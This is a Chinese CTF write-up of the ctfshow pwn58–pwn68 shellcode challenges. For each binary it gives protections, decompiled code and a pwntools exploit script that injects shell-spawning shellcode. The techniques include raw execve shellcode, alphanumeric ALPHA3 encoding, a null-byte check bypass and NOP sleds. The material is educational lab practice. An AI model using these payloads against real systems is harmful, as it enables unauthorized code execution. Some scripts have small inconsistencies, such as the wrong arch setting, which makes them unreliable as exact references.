# 有所收获的题目:

pwn66 (shellcode 开头为 \x00 )

pwn67 (32 位 nop sled ->shellcode)

# pwn58(shellcode)

# 题目

题目描述: 32位 无限制

32 位程序,开启保护:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

有可执行段

main(反编译未成功):

这里提示 shellcode,然后执行了一个 ctfshow 函数

ctfshow:

int __cdecl ctfshow(char *s)
{
  gets(s);
  return puts(s);
}

一个 gets 函数,有可执行段,且没有开启 nx, 直接在栈上写入 shellcode,然后返回执行

这里看汇编发现 main 函数有个 call eax

gets 函数的参数地址是从主函数传参进去的,在 eax 中,后面 call eax,就直接执行了 eax,也就相当于执行了 shellcode

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./')
#e=ELF('./')
p=remote("pwn.challenge.ctf.show",28135)
shellcode = asm(shellcraft.sh())
payload1=shellcode
p.sendline(payload1)
p.interactive()

# pwn59(shellcode)

# 题目

题目描述: 64位 无限制

64 位程序,没有 nx

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

与上一题相同,仍然是一个 gets 函数, call rdx

利用 64 位 shellcode 即可

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28127)
shellcode = asm(shellcraft.sh())
p.recvuntil("")
payload1=shellcode
p.sendline(payload1)
p.interactive()

# pwn60(shellcode)

# 题目

题目内容: 入门难度shellcode

32 位程序,没有开启 NX

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

main:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("CTFshow-pwn can u pwn me here!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("See you ~");
  return 0;
}

这里会将 gets 的函数复制到 buf2,buf2 在 bss 段,查看一下可执行权限:

居然没有可执行权限....

查看 wp 后发现,用 ubuntu18.02 发现有执行权限...

然后输入 shellcode,再溢出返回到 buf2 即可执行

偏移为 112,ida 好像有误:

exp:

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28244)
shellcode = asm(shellcraft.sh())
buf2=0x804A080
p.recvuntil("me here!!\n")
payload1=shellcode.ljust(112,b"a")+p32(buf2)
p.sendline(payload1)
p.interactive()

# pwn61(shellcode)

# 题目:

题目描述: 输出了什么?

64 位程序:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

可以看到开启了 pie, 地址都进行了改变

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  __int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF
  v5[0] = 0LL;
  v5[1] = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", v5);
  puts("Maybe it's useful ! But how to use it?");
  gets(v5);
  return 0;
}

这里打印了 v5 的栈地址,没有开启 nx,可以写入 shellcode 然后返回到 v5 执行

可以写入的 shellcode 为 0x10+8(24 字节)

这里不能直接写 shellcode 进入栈内,因为后面会执行 leave 命令,会导致重置,那么就无法执行 shellcode,需要溢出写到栈的后面

所以栈内的 24 字节无法使用,溢出到后面即可,返回地址要 栈地址+32(24+ret的8字节)

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=process('./pwn61')
#p=remote("pwn.challenge.ctf.show",28244)
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
p.recvuntil("What's this : [")
v5=int(p.recv(14),16)
print("shellcode:",len(shellcode))
print("v5:",hex(v5))
p.recvuntil("But how to use it?\n")
payload1=b"a"*24+p64(v5+32)+shellcode
p.sendline(payload1)
p.interactive()

# pwn62(shellcode)

# 题目

题目描述: 短了一点

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
  buf[0] = 0LL;
  buf[1] = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", buf);
  puts("Maybe it's useful ! But how to use it?");
  read(0, buf, 0x38uLL);
  return 0;
}

与上面的题一样,只不过这次限制了只能读入 0x38 字节(56),栈空间 24,返回地址 8 不可用,所以最大写入的 shellcode 长度为 56-24-8=24,上道题用的 22 字节的 shellcode,所以可以直接用

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28188)

shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes

p.recvuntil("What's this : [")

v5=int(p.recv(14),16)

print("shellcode:",len(shellcode))
print("v5:",hex(v5))

p.recvuntil("But how to use it?\n")

payload1=b"a"*24+p64(v5+32)+shellcode

p.sendline(payload1)

p.interactive()

# pwn63(shellcode)

# 题目

题目描述: 又短了一点

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  __int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF
  buf[0] = 0LL;
  buf[1] = 0LL;
  v3 = _bss_start;
  setvbuf(_bss_start, 0LL, 1, 0LL);
  logo(v3, 0LL);
  puts("Welcome to CTFshow!");
  printf("What's this : [%p] ?\n", buf);
  puts("Maybe it's useful ! But how to use it?");
  read(0, buf, 0x37uLL);
  return 0;
}

这次 0x37 字节,上面的 exp 仍然能满足

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28213)
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"# 22bytes
p.recvuntil("What's this : [")
v5=int(p.recv(14),16)
print("shellcode:",len(shellcode))
print("v5:",hex(v5))
p.recvuntil("But how to use it?\n")
payload1=b"a"*24+p64(v5+32)+shellcode
p.sendline(payload1)
p.interactive()

# pwn64(shellcode)

# 题目:

题目描述: 有时候开启某种保护并不代表这条路不通

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

32 位程序,开启了 NX

main:

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf; // [esp+8h] [ebp-10h]
  buf = mmap(0, 0x400u, 7, 34, 0, 0);
  alarm(0xAu);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  puts("Some different!");
  if ( read(0, buf, 0x400u) < 0 )
  {
    puts("Illegal entry!");
    exit(1);
  }
  ((void (*)(void))buf)();
  return 0;
}

这里调用了一个 mmap函数 ,进行内存映射,并且其有执行权限(7),将其地址给 buf,后面调用 read 函数可以写入数据到 buf,当 read>0 时就会执行 buf

所以这里在 buf 里写入 shellcode 即可

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28112)
shellcode = asm(shellcraft.sh())
p.recvuntil("")
p.sendline(shellcode)
p.recvuntil("")
p.interactive()

# pwn65(字符串显示的 shellcode 及汇编分析)

# 题目

题目描述: 你是一个好人

64 位程序,开启了 IPE

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

反汇编失败

大概的执行逻辑:

这里 eax 存放读入的长度是通过 gdb 调试得出:

输入了字符串 aaa 后变成了 4( aaa\n

逻辑上判断是否是在 0x61~0x7A(a-z) , 再判断 0x41~0x5A(A-Z)0x30~0x5a(0-Z) 所以 shellcode 是需要由大小写字母及数字构成

利用 alpha3 生成

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode" > mixedcase.txt 这里的参数 rax 是需要填入执行 shellcode 的那个寄存器(call rax)

生成的 shellcode:

shellcode=Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

exp:

n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
e=ELF('./pwn44')
p=remote("pwn.challenge.ctf.show",28292)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
p.send(shellcode)
p.interactive()

# pwn66 (shellcode 开头为 \x00 )

# 题目:

题目描述: 简单的shellcode?不对劲,十分得有十二分的不对劲

64 位程序:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *buf; // [rsp+8h] [rbp-8h]
  init(argc, argv, envp);
  logo();
  buf = mmap(0LL, 0x1000uLL, 7, 34, 0, 0LL);
  puts("Your shellcode is :");
  read(0, buf, 0x200uLL);
  if ( !(unsigned int)check(buf) )
  {
    printf(" ERROR !");
    exit(0);
  }
  ((void (__fastcall *)(_BYTE *))buf)(buf);
  return 0;
}

仍然是写入 shellcode,但是这里有一个 check:

c
__int64 __fastcall check(_BYTE *a1)
{
  _BYTE *i; // [rsp+18h] [rbp-10h]
  while ( *a1 )
  {
    for ( i = &unk_400F20; *i && *i != *a1; ++i )
      ;
    if ( !*i )
      return 0LL;
    ++a1;
  }
  return 1LL;
}

我们要使他返回 1 才能顺利执行 shellcode,所以要跳出循环,*a1=0 就可以跳出,所以我们的 shellcode 第一个字节要为 \x00 ,利用脚本查找第一个字节为 \x00 的指令

n
from pwn import *
from itertools import *
import re
for i in range(1,3):
    for j in product([p8(k) for k in range(256)],repeat=i):#there are as well as  twice 'for()',it 
        payload=b'\x00'+b"".join(j)
        p=disasm(payload)
        if(
            p !="    ..." 
            and not re.search(r"\[\w*?\]",p) 
            and ".byte" not in p):
            print(p)
            #input()

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
#p=process('./')
#e=ELF('./')
#p=remote('node4.buuoj.cn',28249)
p=remote("pwn.challenge.ctf.show",28293)
shellcode = asm(shellcraft.sh())
p.recvuntil("")
p.sendline(b'\x00'+b'\xc0'+shellcode)
p.recvuntil("")
p.interactive()

# pwn67 (nop sled ->shellcode)

# 1. 题目

题目描述: 32bit nop sled

32 位程序,有可执行段,但是有 canary

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

main函数:

c
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  void (*v5)(void); // [esp+0h] [ebp-1010h] BYREF
  unsigned int seed[1027]; // [esp+4h] [ebp-100Ch] BYREF
  seed[1025] = (unsigned int)&argc;
  seed[1024] = __readgsdword(0x14u);
  setbuf(stdout, 0);
  logo();
  srand((unsigned int)seed);
  Loading();
  acquire_satellites();
  v3 = query_position();
  printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3);
  printf("What will you do?\n> ");
  fgets((char *)seed, 4096, stdin);
  printf("Where do you start?\n> ");
  __isoc99_scanf("%p", &v5);
  v5();
  return 0;
}

Loading 函数和 acquire_satellites () 函数就是起一个等待的作用,没什么用

query_position()函数:

c
char *query_position()
{
  char v1; // [esp+3h] [ebp-15h] BYREF
  int v2; // [esp+4h] [ebp-14h]
  char *v3; // [esp+8h] [ebp-10h]
  unsigned int v4; // [esp+Ch] [ebp-Ch]
  v4 = __readgsdword(0x14u);
  v2 = rand() % 1337 - 668;
  v3 = &v1 + v2;
  return &v1 + v2;
}

在 main 函数会给我们一个被偏移过的栈地址(v3),然后让我们输入 seed,利用最后的 __isoc99_scanf("%p", &v5); 让我们输入地址,然后就执行这个地方的命令

# 2. 漏洞分析

在 query_position 函数里,返回的值是 v1 的地址 + v2 这个随机数,v1 是栈上的地址,那么就能通过大致计算出 v1 的地址来确定我们需要执行的 shellcode 的输入位置,但是无法准确的计算出 shellcode 的地址,那么就需要利用 nop sled (空操作雪橇),下滑到 shellcode 的位置执行

具体 sled 操作需要利用汇编来看:

.text:08048945 ; __unwind {
.text:08048945                 lea     ecx, [esp+4]
.text:08048949                 and     esp, 0FFFFFFF0h
.text:0804894C                 push    dword ptr [ecx-4]
.text:0804894F                 push    ebp
.text:08048950                 mov     ebp, esp
.text:08048952                 push    ebx
.text:08048953                 push    ecx
.text:08048954                 sub     esp, 1010h
.text:0804895A                 call    __x86_get_pc_thunk_bx
.text:0804895F                 add     ebx, (offset _GLOBAL_OFFSET_TABLE_ - $)
.text:08048965                 mov     eax, large gs:14h
.text:0804896B                 mov     [ebp+var_C], eax
.text:0804896E                 xor     eax, eax
.text:08048970                 mov     eax, ds:(stdout_ptr - 804B000h)[ebx]
.text:08048976                 mov     eax, [eax]
.text:08048978                 sub     esp, 8
.text:0804897B                 push    0               ; buf
.text:0804897D                 push    eax             ; stream
.text:0804897E                 call    _setbuf
.text:08048983                 add     esp, 10h
.text:08048986                 call    logo
.text:0804898B                 lea     eax, [ebp+seed]
.text:08048991                 sub     esp, 0Ch
.text:08048994                 push    eax             ; seed
.text:08048995                 call    _srand
.text:0804899A                 add     esp, 10h
.text:0804899D                 call    Loading
.text:080489A2                 call    acquire_satellites
.text:080489A7                 call    query_position
.text:080489AC                 sub     esp, 8
.text:080489AF                 push    eax
.text:080489B0                 lea     eax, (aWeNeedToLoadTh - 804B000h)[ebx] ; "We need to load the ctfshow_flag.\nThe "...
.text:080489B6                 push    eax             ; format
.text:080489B7                 call    _printf
.text:080489BC                 add     esp, 10h
.text:080489BF                 sub     esp, 0Ch
.text:080489C2                 lea     eax, (aWhatWillYouDo - 804B000h)[ebx] ; "What will you do?\n> "
.text:080489C8                 push    eax             ; format
.text:080489C9                 call    _printf
.text:080489CE                 add     esp, 10h
.text:080489D1                 mov     eax, ds:(stdin_ptr - 804B000h)[ebx]
.text:080489D7                 mov     eax, [eax]
.text:080489D9                 sub     esp, 4
.text:080489DC                 push    eax             ; stream
.text:080489DD                 push    1000h           ; n
.text:080489E2                 lea     eax, [ebp+seed]
.text:080489E8                 push    eax             ; s
.text:080489E9                 call    _fgets
.text:080489EE                 add     esp, 10h
.text:080489F1                 sub     esp, 0Ch
.text:080489F4                 lea     eax, (aWhereDoYouStar - 804B000h)[ebx] ; "Where do you start?\n> "
.text:080489FA                 push    eax             ; format
.text:080489FB                 call    _printf
.text:08048A00                 add     esp, 10h
.text:08048A03                 sub     esp, 8
.text:08048A06                 lea     eax, [ebp+var_1010]
.text:08048A0C                 push    eax
.text:08048A0D                 lea     eax, (aP - 804B000h)[ebx] ; "%p"
.text:08048A13                 push    eax
.text:08048A14                 call    ___isoc99_scanf
.text:08048A19                 add     esp, 10h
.text:08048A1C                 mov     eax, [ebp+var_1010]
.text:08048A22                 call    eax
.text:08048A24                 mov     eax, 0
.text:08048A29                 mov     edx, [ebp+var_C]
.text:08048A2C                 xor     edx, large gs:14h
.text:08048A33                 jz      short loc_8048A3A
.text:08048A35                 call    __stack_chk_fail_local

首先 push ebp 使 esp-4;然后 push ebx; push ecx; esp 变为:esp-4-4-4;接着 sub esp,0x1010 使 esp-4-4-4-0x1010;然后有 sub esp,8;push 0;push eax; 使 esp-4-4-4-0x1010-8-4-4;在 call _setbuf 的下一条指令有 add esp,0x10 使 esp-4-4-4-0x1010-8-4-4+0x10;后面有 sub esp,0xc 使 esp-4-4-4-0x1010-8-4-4+0x10-0xc;然后 push eax ; ... ; add esp,0x10 使 esp-4-4-4-0x1010-8-4-4+0x10-0xc-4+0x10=esp-0x101c;【这里到了 query_position

后面的其实已经不用算了:接着 sub esp,8,push eax; ... ; push eax; 使 esp-4-4-4-0x1010-8-4-4+0x10-0xc-4+0x10-0x8-4-4=esp-0x102c,到了第一个 call printf 下面 add esp,0x10;sub esp,0xc ;... ; push eax 使 esp=esp-0x102c+0x10-0xc-4 ; 第二个 call printf 下面 add esp,0x10; ... ; sub esp,4; push eax;push 1000h; ... ; push eax esp=esp-0x102c+0x10-0xc-4+0x10-4-4-4-4=esp-0x102c;到了 call fgets 下面 add esp ,0x10; sub esp ,0xc ; push eax; esp=esp-0x102c+0x10-0xc-4=esp -0x102c;在最后一个 call printf 下 add esp,0x10; sub esp ,8;...; push eax; push eax; esp=esp-0x102c+0x10-8-4-4=0x102c ; 最后的 call scanf add esp ,0x10 esp=esp-0x102c+0x10=esp-0x101c

而 输入的 seed 距离 main 的 ebp 为 0x100c

我们能通过 v1 的地址来得到 seed 的地址,而函数给我们输出了 v1地址+一个随机数的值 ,这个随机数是 v2 = rand() % 1337 - 668; 【-668~688】,意味着 v1的地址-最大的可能668-与seed的偏移 就一定会在输入的 seed 中:

x=&v1+random(x 为给出来的地址)
seed=&v1+0x29(0x1035-0x100c=0x29//0x2c?)

seed=x-random+0x29【只要假设 减掉的 random 最大,也就是 seed 地址处于最高地址的情况(random 取 负668 )】

seed=x+668+0x29 但是如果这个地方不是我们真的存放 shellcode 的位置,那么可能无法执行 shellcode(因为是假设 seed 为所在范围最高的地址),我们要保障输入的 shellcode 一定要超过这个位置,以免真实地址大于我们输入的 shellcode 的地址;

因为 seed 可能的最低地址为 seed=x-668+0x29 所以我们需要在这个区间内利用 nop 命令来填充 1136 个字节(第 1137 个可以刚好执行,并且可以输入 4096 个字节,不用担心大小不够),以确保能够执行在这个 范围外(指seed的最低地址与最高地址) 部的 shellcode

【这个地方也就是意味着计算出来的 seed 在这个范围内都有可能,那么我们就必须保障 shellcode 超出这个范围,因为执行的 v5 地址在 shellcode 后面或者中间,就无法正确 getshell】

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
p=remote("pwn.challenge.ctf.show",28112)
shellcode = asm(shellcraft.sh())
p.recvuntil("The current location: ")
addr=int(p.recv(10),16)
print("addr:",addr)
p.recvuntil("> ")
p.sendline(b'\x90'*1136+shellcode)
p.recvuntil("> ")
p.sendline(hex(addr+668+0x2d))
p.interactive()

参考:

https://blog.csdn.net/weixin_52635170/article/details/131985518

# pwn68(64 位 sled ->shellcode)

# 题目描述:

题目描述: 64bit nop sled

64 位程序

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments
c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  void (*v5)(void); // [rsp+8h] [rbp-1018h] BYREF
  char seed[4104]; // [rsp+10h] [rbp-1010h] BYREF
  unsigned __int64 v7; // [rsp+1018h] [rbp-8h]
  v7 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  logo();
  srand((unsigned int)seed);
  Loading();
  acquire_satellites();
  v3 = query_position();
  printf("We need to load the ctfshow_flag.\nThe current location: %p\n", v3);
  printf("What will you do?\n> ");
  fgets(seed, 4096, stdin);
  printf("Where do you start?\n> ");
  __isoc99_scanf("%p", &v5);
  v5();
  return 0;
}
c
char *query_position()
{
  char v1; // [rsp+Bh] [rbp-15h] BYREF
  int v2; // [rsp+Ch] [rbp-14h]
  v2 = rand() % 1337 - 668;
  return &v1 + v2;
}

与上一题基本相同,只是这次变成了 64 位了,所以一个字就变成了 8 字节

根据汇编,一直到 call query_position 计算栈的情况

函数栈的位置:esp=esp-8-0x1020

然后 seed 在 rbp-0x1010 处,v5 在 rbp-0x1018 处

可以得出结构:

得到的地址是 v1 地址 + 一个随机数(-668~668),我们所要填充的 shellcode 的地址要绕过这些随机的可能地址,所以要选择一个最高的地址()

x=v1+random;
seed=v1+0x35;
seed=x-random+0x35 【这里取 seed 的最大地址,因为要执行的 seed 被假设为可能范围内最大的地址,这样 shelldode 一定在外部】

所以 seed 可能的取值为 seed =x-668+0x35seed=x+668+0x35 , 所以要跨越这个区间(1336 保障了一定能越过 seed 的最大地址),在区间外部的地址输入 shellcode 就行(需要利用 nop 来 sled)

n
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context(os='linux', arch='amd64', log_level='debug')
p=remote("pwn.challenge.ctf.show",28205)
shellcode = asm(shellcraft.sh())
p.recvuntil("The current location: ")
addr=int(p.recv(14),16)
print("addr:",addr)
p.recvuntil("> ")
p.sendline(b'\x90'*1336+shellcode)
p.recvuntil("> ")
p.sendline(hex(addr+668+0x35))
p.interactive()